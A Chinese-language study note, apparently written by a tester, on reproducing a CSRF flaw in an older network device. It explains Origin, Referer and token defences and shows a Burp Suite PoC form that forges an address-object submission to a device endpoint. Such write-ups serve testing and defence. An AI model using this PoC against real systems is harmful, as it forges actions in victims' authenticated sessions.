CSRF-跨站请求伪造
旧版本设备被测试出来的csrf漏洞,跨站请求伪造,一直没明白什么意思,趁着版本还没有修复,正好可以将这个问题复现一下,清楚下整个过程和防护的手段,但是通过什么样的方式去达到实际攻击的效果还是没能想通,达到这样的攻击的前提是获取到有效的cookie或者是请求的发送是在用户的同一个浏览器,那么只要页面的关闭和账号的退出未导致cookie失效,那么也能攻击
实际上是利用被攻击人有效的cookie,进行请求的伪造提交数据,那么得不到用户的cookie可以想办法他使用的浏览器发送请求,那么很可能就自带了有效的cookie,为了避免这种情况
验证请求头中的Origin,Origin中的字段确认来源域名就可以,来源不对那么就是一个不合法地方发送的请求,所以服务器拒绝
Referer存在,也可以用来确认HTTP请求的来源地址。来源不对也是不合法,当然这种http请求的headers是很容易随便伪造的,基本没用
比较有效的方式,添加csrf_token值,每次页面的刷新出一个新的token,每次数据提交或者重要操作时,必须使用这个值作为参数提交,或者是在http请求头中提交,由于token每次访问后值会变化,所以伪造请求时不容易伪造出这个值,只有正常访问时才能得到服务器响应的正确token
1.服务器响应token给前端
2.前端使用这个token发请求
3.服务器收到token校验合法性和有效性
Origin和Referer的校验
先抓取一个添加规则的请求(旧版本存在token但是没校验)
右键生成一个csrf-poc,使用浏览器打开
由于规则名会重复导致加不进去所以修改一个名称,点击浏览器测试,粘贴到当前抓包的浏览器(一定要同一个浏览器,因为登陆过有cookie信息),然后关闭brupsuite的拦截请求
可以看到一个提交按钮,就是发送请求,提交刚刚那些数据,但是此时的Origin和Referer来源不对,进行了校验,所以加不进去的
所以我们去除这两处,再重发数据包
查看添加的信息,添加成功,说明headers中其实缺少了这两个参数也没关系,但是不能错了,服务器则没有对这两个信息做缺少的校验,缺少应当允许提交的
Token的校验
使用另外一种本地打开的方式测试,复制生成的html
写入到本地文件csrf.html,这次我们添加的是110.110.110.110地址,tokenid虽然存在但是未校验就等于没有用
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://10.6.8.250/hosts/add_obj" method="POST">
<input type="hidden" name="tokenid" value="c1876784917265bd111728dbb4a03108" />
<input type="hidden" name="ip" value="110.110.0.110/0" />
<input type="hidden" name="action" value="1" />
<input type="hidden" name="remark" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
点击submit,这次添加由于是本地打开的文件,所以没有Origin和Referer,一就添加成功了
当前测试均是存在漏洞的时候,这个值没有做校验,如果做了校验,服务器返回的新的token值,那么不会随意被伪造出来也就不会随意提交数据了